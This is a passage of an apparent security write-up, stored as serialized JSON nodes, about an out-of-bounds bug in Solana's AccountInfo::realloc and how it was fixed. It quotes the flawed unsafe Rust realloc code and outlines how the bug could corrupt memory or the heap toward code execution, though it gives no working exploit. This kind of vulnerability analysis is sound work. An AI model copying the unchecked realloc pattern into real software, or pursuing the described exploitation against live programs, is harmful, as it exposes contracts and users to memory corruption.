post_len",{"type":23,"tag":134,"props":16392,"children":16393},{"style":168},[16394],{"type":28,"value":720},{"type":23,"tag":134,"props":16396,"children":16397},{"style":264},[16398],{"type":28,"value":13760},{"type":23,"tag":134,"props":16400,"children":16401},{"style":179},[16402],{"type":28,"value":272},{"type":23,"tag":134,"props":16404,"children":16405},{"style":168},[16406],{"type":28,"value":1777},{"type":23,"tag":134,"props":16408,"children":16409},{"style":162},[16410],{"type":28,"value":16411},"pre_len",{"type":23,"tag":134,"props":16413,"children":16414},{"style":179},[16415],{"type":28,"value":16416},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":23,"tag":134,"props":16418,"children":16419},{"class":136,"line":147},[16420,16425,16429,16433,16438,16442],{"type":23,"tag":134,"props":16421,"children":16422},{"style":168},[16423],{"type":28,"value":16424},"    ||",{"type":23,"tag":134,"props":16426,"children":16427},{"style":162},[16428],{"type":28,"value":16390},{"type":23,"tag":134,"props":16430,"children":16431},{"style":168},[16432],{"type":28,"value":13662},{"type":23,"tag":134,"props":16434,"children":16435},{"style":179},[16436],{"type":28,"value":16437}," MAX_PERMITTED_DATA_LENGTH ",{"type":23,"tag":134,"props":16439,"children":16440},{"style":151},[16441],{"type":28,"value":8302},{"type":23,"tag":134,"props":16443,"children":16444},{"style":597},[16445],{"type":28,"value":16446}," usize\n",{"type":23,"tag":134,"props":16448,"children":16449},{"class":136,"line":185},[16450],{"type":23,"tag":134,"props":16451,"children":16452},{"style":179},[16453],{"type":28,"value":10346},{"type":23,"tag":134,"props":16455,"children":16456},{"class":136,"line":221},[16457,16462,16466,16470,16474,16478,16483],{"type":23,"tag":134,"props":16458,"children":16459},{"style":189},[16460],{"type":28,"value":16461},"    return",{"type":23,"tag":134,"props":16463,"children":16464},{"style":597},[16465],{"type":28,"value":15219},{"type":23,"tag":134,"props":16467,"children":16468},{"style":179},[16469],{"type":28,"value":272},{"type":23,"tag":134,"props":16471,"children":16472},{"style":597},[16473],{"type":28,"value":15228},{"type":23,"tag":134,"props":16475,"children":16476},{"style":168},[16477],{"type":28,"value":660},{"type":23,"tag":134,"props":16479,"children":16480},{"style":597},[16481],{"type":28,"value":16482},"InvalidRealloc",{"type":23,"tag":134,"props":16484,"children":16485},{"style":179},[16486],{"type":28,"value":1021},{"type":23,"tag":134,"props":16488,"children":16489},{"class":136,"line":332},[16490],{"type":23,"tag":134,"props":16491,"children":16492},{"style":179},[16493],{"type":28,"value":1098},{"type":23,"tag":24,"props":16495,"children":16496},{},[16497,16499,16504,16506,16511],{"type":28,"value":16498},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":23,"tag":55,"props":16500,"children":16501},{},[16502],{"type":28,"value":16503},"finishes",{"type":28,"value":16505}," execution. ",{"type":23,"tag":55,"props":16507,"children":16508},{},[16509],{"type":28,"value":16510},"During",{"type":28,"value":16512}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":23,"tag":24,"props":16514,"children":16515},{},[16516,16518,16523,16525,16530,16532,16539],{"type":28,"value":16517},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":23,"tag":55,"props":16519,"children":16520},{},[16521],{"type":28,"value":16522},"arbitrary",{"type":28,"value":16524}," memory access through a mistakenly-",{"type":23,"tag":92,"props":16526,"children":16528},{"className":16527},[],[16529],{"type":28,"value":13106},{"type":28,"value":16531},"'d account, this falls in the relm of some ",{"type":23,"tag":31,"props":16533,"children":16536},{"href":16534,"rel":16535},"https://en.wikipedia.org/wiki/Buffer_overflow",[35],[16537],{"type":28,"value":16538},"old-school pwning",{"type":28,"value":16540}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":23,"tag":9072,"props":16542,"children":16544},{"id":16543},"not-contracts",[16545],{"type":28,"value":16546},"Not-contracts?",{"type":23,"tag":24,"props":16548,"children":16549},{},[16550,16552,16557,16559,16569,16571,16583,16585,16592,16594,16599,16601,16606,16608,16621,16623,16628,16630,16635],{"type":28,"value":16551},"Remember when we said that all this code makes sense ",{"type":23,"tag":55,"props":16553,"children":16554},{},[16555],{"type":28,"value":16556},"if the data points to the BPF loader's serialized buffer",{"type":28,"value":16558},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":23,"tag":31,"props":16560,"children":16563},{"href":16561,"rel":16562},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[35],[16564],{"type":23,"tag":92,"props":16565,"children":16567},{"className":16566},[],[16568],{"type":28,"value":14407},{"type":28,"value":16570}," are public, and so is its ",{"type":23,"tag":31,"props":16572,"children":16575},{"href":16573,"rel":16574},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[35],[16576,16581],{"type":23,"tag":92,"props":16577,"children":16579},{"className":16578},[],[16580],{"type":28,"value":14591},{"type":28,"value":16582}," method",{"type":28,"value":16584}," (which is ",{"type":23,"tag":31,"props":16586,"children":16589},{"href":16587,"rel":16588},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[35],[16590],{"type":28,"value":16591},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":28,"value":16593},"). The ",{"type":23,"tag":92,"props":16595,"children":16597},{"className":16596},[],[16598],{"type":28,"value":13106},{"type":28,"value":16600}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":23,"tag":92,"props":16602,"children":16604},{"className":16603},[],[16605],{"type":28,"value":14407},{"type":28,"value":16607}," ourselves - potentially through the ",{"type":23,"tag":31,"props":16609,"children":16612},{"href":16610,"rel":16611},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[35],[16613,16619],{"type":23,"tag":92,"props":16614,"children":16616},{"className":16615},[],[16617],{"type":28,"value":16618},"Account",{"type":28,"value":16620}," trait",{"type":28,"value":16622},", which is hardly documented at all and makes ",{"type":23,"tag":55,"props":16624,"children":16625},{},[16626],{"type":28,"value":16627},"no",{"type":28,"value":16629}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":23,"tag":92,"props":16631,"children":16633},{"className":16632},[],[16634],{"type":28,"value":892},{"type":28,"value":16636}," buffer.",{"type":23,"tag":24,"props":16638,"children":16639},{},[16640,16642,16653,16655,16661,16663,16669,16671,16684,16686,16691,16693,16698,16700,16705,16707,16712,16714,16719,16721,16726],{"type":28,"value":16641},"One long arm of this is ",{"type":23,"tag":31,"props":16643,"children":16646},{"href":16644,"rel":16645},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[35],[16647],{"type":23,"tag":92,"props":16648,"children":16650},{"className":16649},[],[16651],{"type":28,"value":16652},"solana_sdk::account::Account",{"type":28,"value":16654}," - in the client SDK. It holds an account's data in a ",{"type":23,"tag":92,"props":16656,"children":16658},{"className":16657},[],[16659],{"type":28,"value":16660},"Vec\u003Cu8>",{"type":28,"value":16662},", and it implements ",{"type":23,"tag":92,"props":16664,"children":16666},{"className":16665},[],[16667],{"type":28,"value":16668},"solana_program::account_info::Account",{"type":28,"value":16670}," (the trait from earlier) - by ",{"type":23,"tag":31,"props":16672,"children":16675},{"href":16673,"rel":16674},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[35],[16676,16678],{"type":28,"value":16677},"returning a reference to the contents of that ",{"type":23,"tag":92,"props":16679,"children":16681},{"className":16680},[],[16682],{"type":28,"value":16683},"Vec",{"type":28,"value":16685},". So, ",{"type":23,"tag":92,"props":16687,"children":16689},{"className":16688},[],[16690],{"type":28,"value":13106},{"type":28,"value":16692}," writes the size into the 8 bytes right before ",{"type":23,"tag":92,"props":16694,"children":16696},{"className":16695},[],[16697],{"type":28,"value":892},{"type":28,"value":16699},"; ",{"type":23,"tag":92,"props":16701,"children":16703},{"className":16702},[],[16704],{"type":28,"value":892},{"type":28,"value":16706}," is the buffer of a ",{"type":23,"tag":92,"props":16708,"children":16710},{"className":16709},[],[16711],{"type":28,"value":16683},{"type":28,"value":16713},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":23,"tag":92,"props":16715,"children":16717},{"className":16716},[],[16718],{"type":28,"value":14407},{"type":28,"value":16720}," out of an SDK ",{"type":23,"tag":92,"props":16722,"children":16724},{"className":16723},[],[16725],{"type":28,"value":16618},{"type":28,"value":16727}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":23,"tag":61,"props":16729,"children":16731},{"id":16730},"remediation",[16732],{"type":28,"value":16733},"Remediation",{"type":23,"tag":24,"props":16735,"children":16736},{},[16737],{"type":28,"value":16738},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":23,"tag":24,"props":16740,"children":16741},{},[16742,16744,16749,16751,16756,16758,16769,16771,16776,16778,16785],{"type":28,"value":16743},"The sensible thing to do would be to store the initial size in the ",{"type":23,"tag":92,"props":16745,"children":16747},{"className":16746},[],[16748],{"type":28,"value":14407},{"type":28,"value":16750},"... except for the fact that the layout of ",{"type":23,"tag":92,"props":16752,"children":16754},{"className":16753},[],[16755],{"type":28,"value":14407},{"type":28,"value":16757}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":23,"tag":14943,"props":16759,"children":16760},{},[16761],{"type":23,"tag":31,"props":16762,"children":16766},{"href":16763,"ariaDescribedBy":16764,"dataFootnoteRef":7,"id":16765},"#user-content-fn-layout",[14950],"user-content-fnref-layout",[16767],{"type":28,"value":16768},"3",{"type":28,"value":16770}," So, with changing ",{"type":23,"tag":92,"props":16772,"children":16774},{"className":16773},[],[16775],{"type":28,"value":14407},{"type":28,"value":16777}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":23,"tag":31,"props":16779,"children":16782},{"href":16780,"rel":16781},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[35],[16783],{"type":28,"value":16784},"this function",{"type":28,"value":1697},{"type":23,"tag":87,"props":16787,"children":16789},{"className":128,"code":16788,"language":127,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n    let key_ptr = self.key as *const _ as *const u8;\n    let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n    *original_data_len_ptr as usize\n}\n",[16790],{"type":23,"tag":92,"props":16791,"children":16792},{"__ignoreMap":7},[16793,16801,16809,16817,16825,16832,16840,16848,16896,16961,17027,17048],{"type":23,"tag":134,"props":16794,"children":16795},{"class":136,"line":137},[16796],{"type":23,"tag":134,"props":16797,"children":16798},{"style":141},[16799],{"type":28,"value":16800},"/// Return the account's original data length when it was serialized for the\n",{"type":23,"tag":134,"props":16802,"children":16803},{"class":136,"line":147},[16804],{"type":23,"tag":134,"props":16805,"children":16806},{"style":141},[16807],{"type":28,"value":16808},"/// current program invocation.\n",{"type":23,"tag":134,"props":16810,"children":16811},{"class":136,"line":185},[16812],{"type":23,"tag":134,"props":16813,"children":16814},{"style":141},[16815],{"type":28,"value":16816},"///\n",{"type":23,"tag":134,"props":16818,"children":16819},{"class":136,"line":221},[16820],{"type":23,"tag":134,"props":16821,"children":16822},{"style":141},[16823],{"type":28,"value":16824},"/// # Safety\n",{"type":23,"tag":134,"props":16826,"children":16827},{"class":136,"line":332},[16828],{"type":23,"tag":134,"props":16829,"children":16830},{"style":141},[16831],{"type":28,"value":16816},{"type":23,"tag":134,"props":16833,"children":16834},{"class":136,"line":438},[16835],{"type":23,"tag":134,"props":16836,"children":16837},{"style":141},[16838],{"type":28,"value":16839},"/// This method assumes that the original data length was serialized as a u32\n",{"type":23,"tag":134,"props":16841,"children":16842},{"class":136,"line":466},[16843],{"type":23,"tag":134,"props":16844,"children":16845},{"style":141},[16846],{"type":28,"value":16847},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":23,"tag":134,"props":16849,"children":16850},{"class":136,"line":479},[16851,16855,16859,16863,16868,16872,16876,16880,16884,16888,16892],{"type":23,"tag":134,"props":16852,"children":16853},{"style":151},[16854],{"type":28,"value":13158},{"type":23,"tag":134,"props":16856,"children":16857},{"style":151},[16858],{"type":28,"value":14058},{"type":23,"tag":134,"props":16860,"children":16861},{"style":151},[16862],{"type":28,"value":13163},{"type":23,"tag":134,"props":16864,"children":16865},{"style":264},[16866],{"type":28,"value":16867}," original_data_len",{"type":23,"tag":134,"props":16869,"children":16870},{"style":179},[16871],{"type":28,"value":272},{"type":23,"tag":134,"props":16873,"children":16874},{"style":168},[16875],{"type":28,"value":277},{"type":23,"tag":134,"props":16877,"children":16878},{"style":151},[16879],{"type":28,"value":13181},{"type":23,"tag":134,"props":16881,"children":16882},{"style":179},[16883],{"type":28,"value":252},{"type":23,"tag":134,"props":16885,"children":16886},{"style":168},[16887],{"type":28,"value":13225},{"type":23,"tag":134,"props":16889,"children":16890},{"style":597},[16891],{"type":28,"value":13199},{"type":23,"tag":134,"props":16893,"children":16894},{"style":179},[16895],{"type":28,"value":463},{"type":23,"tag":134,"props":16897,"children":16898},{"class":136,"line":497},[16899,16903,16908,16912,16916,16920,16925,16929,16933,16937,16941,16945,16949,16953,16957],{"type":23,"tag":134,"props":16900,"children":16901},{"style":151},[16902],{"type":28,"value":154},{"type":23,"tag":134,"props":16904,"children":16905},{"style":162},[16906],{"type":28,"value":16907}," key_ptr",{"type":23,"tag":134,"props":16909,"children":16910},{"style":168},[16911],{"type":28,"value":171},{"type":23,"tag":134,"props":16913,"children":16914},{"style":151},[16915],{"type":28,"value":13265},{"type":23,"tag":134,"props":16917,"children":16918},{"style":168},[16919],{"type":28,"value":720},{"type":23,"tag":134,"props":16921,"children":16922},{"style":179},[16923],{"type":28,"value":16924},"key ",{"type":23,"tag":134,"props":16926,"children":16927},{"style":151},[16928],{"type":28,"value":8302},{"type":23,"tag":134,"props":16930,"children":16931},{"style":168},[16932],{"type":28,"value":9281},{"type":23,"tag":134,"props":16934,"children":16935},{"style":151},[16936],{"type":28,"value":9119},{"type":23,"tag":134,"props":16938,"children":16939},{"style":162},[16940],{"type":28,"value":197},{"type":23,"tag":134,"props":16942,"children":16943},{"style":151},[16944],{"type":28,"value":8288},{"type":23,"tag":134,"props":16946,"children":16947},{"style":168},[16948],{"type":28,"value":9281},{"type":23,"tag":134,"props":16950,"children":16951},{"style":151},[16952],{"type":28,"value":9119},{"type":23,"tag":134,"props":16954,"children":16955},{"style":597},[16956],{"type":28,"value":14102},{"type":23,"tag":134,"props":16958,"children":16959},{"style":179},[16960],{"type":28,"value":182},{"type":23,"tag":134,"props":16962,"children":16963},{"class":136,"line":518},[16964,16968,16973,16977,16981,16985,16989,16993,16997,17002,17006,17010,17014,17018,17023],{"type":23,"tag":134,"props":16965,"children":16966},{"style":151},[16967],{"type":28,"value":154},{"type":23,"tag":134,"props":16969,"children":16970},{"style":162},[16971],{"type":28,"value":16972}," original_data_len_ptr",{"type":23,"tag":134,"props":16974,"children":16975},{"style":168},[16976],{"type":28,"value":171},{"type":23,"tag":134,"props":16978,"children":16979},{"style":162},[16980],{"type":28,"value":16907},{"type":23,"tag":134,"props":16982,"children":16983},{"style":168},[16984],{"type":28,"value":720},{"type":23,"tag":134,"props":16986,"children":16987},{"style":264},[16988],{"type":28,"value":13369},{"type":23,"tag":134,"props":16990,"children":16991},{"style":179},[16992],{"type":28,"value":272},{"type":23,"tag":134,"props":16994,"children":16995},{"style":168},[16996],{"type":28,"value":1532},{"type":23,"tag":134,"props":16998,"children":16999},{"style":205},[17000],{"type":28,"value":17001},"4",{"type":23,"tag":134,"props":17003,"children":17004},{"style":179},[17005],{"type":28,"value":252},{"type":23,"tag":134,"props":17007,"children":17008},{"style":151},[17009],{"type":28,"value":8302},{"type":23,"tag":134,"props":17011,"children":17012},{"style":168},[17013],{"type":28,"value":9281},{"type":23,"tag":134,"props":17015,"children":17016},{"style":151},[17017],{"type":28,"value":9119},{"type":23,"tag":134,"props":17019,"children":17020},{"style":597},[17021],{"type":28,"value":17022}," u32",{"type":23,"tag":134,"props":17024,"children":17025},{"style":179},[17026],{"type":28,"value":182},{"type":23,"tag":134,"props":17028,"children":17029},{"class":136,"line":527},[17030,17035,17040,17044],{"type":23,"tag":134,"props":17031,"children":17032},{"style":168},[17033],{"type":28,"value":17034},"    *",{"type":23,"tag":134,"props":17036,"children":17037},{"style":162},[17038],{"type":28,"value":17039},"original_data_len_ptr",{"type":23,"tag":134,"props":17041,"children":17042},{"style":151},[17043],{"type":28,"value":8288},{"type":23,"tag":134,"props":17045,"children":17046},{"style":597},[17047],{"type":28,"value":16446},{"type":23,"tag":134,"props":17049,"children":17050},{"class":136,"line":780},[17051],{"type":23,"tag":134,"props":17052,"children":17053},{"style":179},[17054],{"type":28,"value":1098},{"type":23,"tag":24,"props":17056,"children":17057},{},[17058,17060,17065,17067,17072,17074,17079,17081,17086,17088,17095,17097,17104,17105,17112,17113,17120,17121,17128],{"type":28,"value":17059},"It's marked ",{"type":23,"tag":92,"props":17061,"children":17063},{"className":17062},[],[17064],{"type":28,"value":13824},{"type":28,"value":17066},", properly documented, but there's just one problem: we need this for ",{"type":23,"tag":92,"props":17068,"children":17070},{"className":17069},[],[17071],{"type":28,"value":13106},{"type":28,"value":17073},", which originally was not ",{"type":23,"tag":92,"props":17075,"children":17077},{"className":17076},[],[17078],{"type":28,"value":13824},{"type":28,"value":17080},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":23,"tag":92,"props":17082,"children":17084},{"className":17083},[],[17085],{"type":28,"value":13824},{"type":28,"value":17087}," block and added ",{"type":23,"tag":31,"props":17089,"children":17092},{"href":17090,"rel":17091},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[35],[17093],{"type":28,"value":17094},"a doc comment",{"type":28,"value":17096}," - adding to the ",{"type":23,"tag":31,"props":17098,"children":17101},{"href":17099,"rel":17100},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[35],[17102],{"type":28,"value":17103},"small",{"type":28,"value":5915},{"type":23,"tag":31,"props":17106,"children":17109},{"href":17107,"rel":17108},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[35],[17110],{"type":28,"value":17111},"pile",{"type":28,"value":5915},{"type":23,"tag":31,"props":17114,"children":17117},{"href":17115,"rel":17116},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[35],[17118],{"type":28,"value":17119},"of",{"type":28,"value":5915},{"type":23,"tag":31,"props":17122,"children":17125},{"href":17123,"rel":17124},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[35],[17126],{"type":28,"value":17127},"functions",{"type":28,"value":17129}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":23,"tag":61,"props":17131,"children":17133},{"id":17132},"towards-safer-unsafe",[17134,17136],{"type":28,"value":17135},"Towards safer ",{"type":23,"tag":92,"props":17137,"children":17139},{"className":17138},[],[17140],{"type":28,"value":13824},{"type":23,"tag":24,"props":17142,"children":17143},{},[17144,17146,17151,17153,17158,17160,17167],{"type":28,"value":17145},"Let's circle back to that main ",{"type":23,"tag":92,"props":17147,"children":17149},{"className":17148},[],[17150],{"type":28,"value":13824},{"type":28,"value":17152}," block inside ",{"type":23,"tag":92,"props":17154,"children":17156},{"className":17155},[],[17157],{"type":28,"value":13106},{"type":28,"value":17159}," for a bit, shall we? As a reminder, it looks like ",{"type":23,"tag":31,"props":17161,"children":17164},{"href":17162,"rel":17163},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[35],[17165],{"type":28,"value":17166},"this",{"type":28,"value":1697},{"type":23,"tag":87,"props":17169,"children":17171},{"className":128,"code":17170,"language":127,"meta":7,"style":7},"// realloc\nunsafe {\n    // First set new length in the serialized data\n    let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n    *ptr = new_len as u64;\n\n    // Then set the new length in the local slice\n    let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n    *ptr = new_len as u64;\n}\n",[17172],{"type":23,"tag":92,"props":17173,"children":17174},{"__ignoreMap":7},[17175,17183,17194,17202,17289,17320,17327,17335,17462,17493],{"type":23,"tag":134,"props":17176,"children":17177},{"class":136,"line":137},[17178],{"type":23,"tag":134,"props":17179,"children":17180},{"style":141},[17181],{"type":28,"value":17182},"// realloc\n",{"type":23,"tag":134,"props":17184,"children":17185},{"class":136,"line":147},[17186,17190],{"type":23,"tag":134,"props":17187,"children":17188},{"style":151},[17189],{"type":28,"value":13824},{"type":23,"tag":134,"props":17191,"children":17192},{"style":179},[17193],{"type":28,"value":463},{"type":23,"tag":134,"props":17195,"children":17196},{"class":136,"line":185},[17197],{"type":23,"tag":134,"props":17198,"children":17199},{"style":141},[17200],{"type":28,"value":17201},"    // First set new length in the serialized data\n",{"type":23,"tag":134,"props":17203,"children":17204},{"class":136,"line":221},[17205,17209,17213,17217,17221,17225,17229,17233,17237,17241,17245,17249,17253,17257,17261,17265,17269,17273,17277,17281,17285],{"type":23,"tag":134,"props":17206,"children":17207},{"style":151},[17208],{"type":28,"value":154},{"type":23,"tag":134,"props":17210,"children":17211},{"style":162},[17212],{"type":28,"value":13325},{"type":23,"tag":134,"props":17214,"children":17215},{"style":168},[17216],{"type":28,"value":171},{"type":23,"tag":134,"props":17218,"children":17219},{"style":151},[17220],{"type":28,"value":13265},{"type":23,"tag":134,"props":17222,"children":17223},{"style":168},[17224],{"type":28,"value":720},{"type":23,"tag":134,"props":17226,"children":17227},{"style":264},[17228],{"type":28,"value":13342},{"type":23,"tag":134,"props":17230,"children":17231},{"style":179},[17232],{"type":28,"value":13347},{"type":23,"tag":134,"props":17234,"children":17235},{"style":168},[17236],{"type":28,"value":301},{"type":23,"tag":134,"props":17238,"children":17239},{"style":264},[17240],{"type":28,"value":13356},{"type":23,"tag":134,"props":17242,"children":17243},{"style":179},[17244],{"type":28,"value":13347},{"type":23,"tag":134,"props":17246,"children":17247},{"style":168},[17248],{"type":28,"value":720},{"type":23,"tag":134,"props":17250,"children":17251},{"style":264},[17252],{"type":28,"value":13369},{"type":23,"tag":134,"props":17254,"children":17255},{"style":179},[17256],{"type":28,"value":272},{"type":23,"tag":134,"props":17258,"children":17259},{"style":168},[17260],{"type":28,"value":1532},{"type":23,"tag":134,"props":17262,"children":17263},{"style":205},[17264],{"type":28,"value":1278},{"type":23,"tag":134,"props":17266,"children":17267},{"style":179},[17268],{"type":28,"value":252},{"type":23,"tag":134,"props":17270,"children":17271},{"style":151},[17272],{"type":28,"value":8302},{"type":23,"tag":134,"props":17274,"children":17275},{"style":168},[17276],{"type":28,"value":9281},{"type":23,"tag":134,"props":17278,"children":17279},{"style":151},[17280],{"type":28,"value":914},{"type":23,"tag":134,"props":17282,"children":17283},{"style":597},[17284],{"type":28,"value":5316},{"type":23,"tag":134,"props":17286,"children":17287},{"style":179},[17288],{"type":28,"value":182},{"type":23,"tag":134,"props":17290,"children":17291},{"class":136,"line":332},[17292,17296,17300,17304,17308,17312,17316],{"type":23,"tag":134,"props":17293,"children":17294},{"style":168},[17295],{"type":28,"value":17034},{"type":23,"tag":134,"props":17297,"children":17298},{"style":162},[17299],{"type":28,"value":13417},{"type":23,"tag":134,"props":17301,"children":17302},{"style":168},[17303],{"type":28,"value":171},{"type":23,"tag":134,"props":17305,"children":17306},{"style":162},[17307],{"type":28,"value":13426},{"type":23,"tag":134,"props":17309,"children":17310},{"style":151},[17311],{"type":28,"value":8288},{"type":23,"tag":134,"props":17313,"children":17314},{"style":597},[17315],{"type":28,"value":5316},{"type":23,"tag":134,"props":17317,"children":17318},{"style":179},[17319],{"type":28,"value":182},{"type":23,"tag":134,"props":17321,"children":17322},{"class":136,"line":438},[17323],{"type":23,"tag":134,"props":17324,"children":17325},{"emptyLinePlaceholder":15},[17326],{"type":28,"value":865},{"type":23,"tag":134,"props":17328,"children":17329},{"class":136,"line":466},[17330],{"type":23,"tag":134,"props":17331,"children":17332},{"style":141},[17333],{"type":28,"value":17334},"    // Then set the new length in the local slice\n",{"type":23,"tag":134,"props":17336,"children":17337},{"class":136,"line":479},[17338,17342,17346,17350,17354,17358,17362,17366,17370,17374,17378,17382,17386,17390,17394,17398,17402,17406,17410,17414,17418,17422,17426,17430,17434,17438,17442,17446,17450,17454,17458],{"type":23,"tag":134,"props":17339,"children":17340},{"style":151},[17341],{"type":28,"value":154},{"type":23,"tag":134,"props":17343,"children":17344},{"style":162},[17345],{"type":28,"value":13325},{"type":23,"tag":134,"props":17347,"children":17348},{"style":168},[17349],{"type":28,"value":171},{"type":23,"tag":134,"props":17351,"children":17352},{"style":168},[17353],{"type":28,"value":6599},{"type":23,"tag":134,"props":17355,"children":17356},{"style":151},[17357],{"type":28,"value":914},{"type":23,"tag":134,"props":17359,"children":17360},{"style":168},[17361],{"type":28,"value":9281},{"type":23,"tag":134,"props":17363,"children":17364},{"style":179},[17365],{"type":28,"value":13485},{"type":23,"tag":134,"props":17367,"children":17368},{"style":151},[17369],{"type":28,"value":13181},{"type":23,"tag":134,"props":17371,"children":17372},{"style":168},[17373],{"type":28,"value":720},{"type":23,"tag":134,"props":17375,"children":17376},{"style":179},[17377],{"type":28,"value":892},{"type":23,"tag":134,"props":17379,"children":17380},{"style":168},[17381],{"type":28,"value":720},{"type":23,"tag":134,"props":17383,"children":17384},{"style":264},[17385],{"type":28,"value":13506},{"type":23,"tag":134,"props":17387,"children":17388},{"style":179},[17389],{"type":28,"value":13511},{"type":23,"tag":134,"props":17391,"children":17392},{"style":151},[17393],{"type":28,"value":8302},{"type":23,"tag":134,"props":17395,"children":17396},{"style":168},[17397],{"type":28,"value":9281},{"type":23,"tag":134,"props":17399,"children":17400},{"style":151},[17401],{"type":28,"value":9119},{"type":23,"tag":134,"props":17403,"children":17404},{"style":597},[17405],{"type":28,"value":5316},{"type":23,"tag":134,"props":17407,"children":17408},{"style":179},[17409],{"type":28,"value":296},{"type":23,"tag":134,"props":17411,"children":17412},{"style":168},[17413],{"type":28,"value":720},{"type":23,"tag":134,"props":17415,"children":17416},{"style":264},[17417],{"type":28,"value":13369},{"type":23,"tag":134,"props":17419,"children":17420},{"style":179},[17421],{"type":28,"value":272},{"type":23,"tag":134,"props":17423,"children":17424},{"style":205},[17425],{"type":28,"value":1214},{"type":23,"tag":134,"props":17427,"children":17428},{"style":179},[17429],{"type":28,"value":252},{"type":23,"tag":134,"props":17431,"children":17432},{"style":151},[17433],{"type":28,"value":8302},{"type":23,"tag":134,"props":17435,"children":17436},{"style":597},[17437],{"type":28,"value":5316},{"type":23,"tag":134,"props":17439,"children":17440},{"style":179},[17441],{"type":28,"value":252},{"type":23,"tag":134,"props":17443,"children":17444},{"style":151},[17445],{"type":28,"value":8302},{"type":23,"tag":134,"props":17447,"children":17448},{"style":168},[17449],{"type":28,"value":9281},{"type":23,"tag":134,"props":17451,"children":17452},{"style":151},[17453],{"type":28,"value":914},{"type":23,"tag":134,"props":17455,"children":17456},{"style":597},[17457],{"type":28,"value":5316},{"type":23,"tag":134,"props":17459,"children":17460},{"style":179},[17461],{"type":28,"value":1021},{"type":23,"tag":134,"props":17463,"children":17464},{"class":136,"line":497},[17465,17469,17473,17477,17481,17485,17489],{"type":23,"tag":134,"props":17466,"children":17467},{"style":168},[17468],{"type":28,"value":17034},{"type":23,"tag":134,"props":17470,"children":17471},{"style":162},[17472],{"type":28,"value":13417},{"type":23,"tag":134,"props":17474,"children":17475},{"style":168},[17476],{"type":28,"value":171},{"type":23,"tag":134,"props":17478,"children":17479},{"style":162},[17480],{"type":28,"value":13426},{"type":23,"tag":134,"props":17482,"children":17483},{"style":151},[17484],{"type":28,"value":8288},{"type":23,"tag":134,"props":17486,"children":17487},{"style":597},[17488],{"type":28,"value":5316},{"type":23,"tag":134,"props":17490,"children":17491},{"style":179},[17492],{"type":28,"value":182},{"type":23,"tag":134,"props":17494,"children":17495},{"class":136,"line":518},[17496],{"type":23,"tag":134,"props":17497,"children":17498},{"style":179},[17499],{"type":28,"value":1098},{"type":23,"tag":24,"props":17501,"children":17502},{},[17503,17505,17510],{"type":28,"value":17504},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":23,"tag":92,"props":17506,"children":17508},{"className":17507},[],[17509],{"type":28,"value":14973},{"type":28,"value":17511}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":23,"tag":24,"props":17513,"children":17514},{},[17515,17517,17522,17524,17529,17531,17536,17538,17543,17545,17550,17552,17558,17560,17570,17572,17583],{"type":28,"value":17516},"First, let's deal with the ",{"type":23,"tag":92,"props":17518,"children":17520},{"className":17519},[],[17521],{"type":28,"value":14973},{"type":28,"value":17523}," borrowing issue. When we ",{"type":23,"tag":92,"props":17525,"children":17527},{"className":17526},[],[17528],{"type":28,"value":13342},{"type":28,"value":17530},", we get a ",{"type":23,"tag":92,"props":17532,"children":17534},{"className":17533},[],[17535],{"type":28,"value":16213},{"type":28,"value":17537}," back, which represents our borrow of the 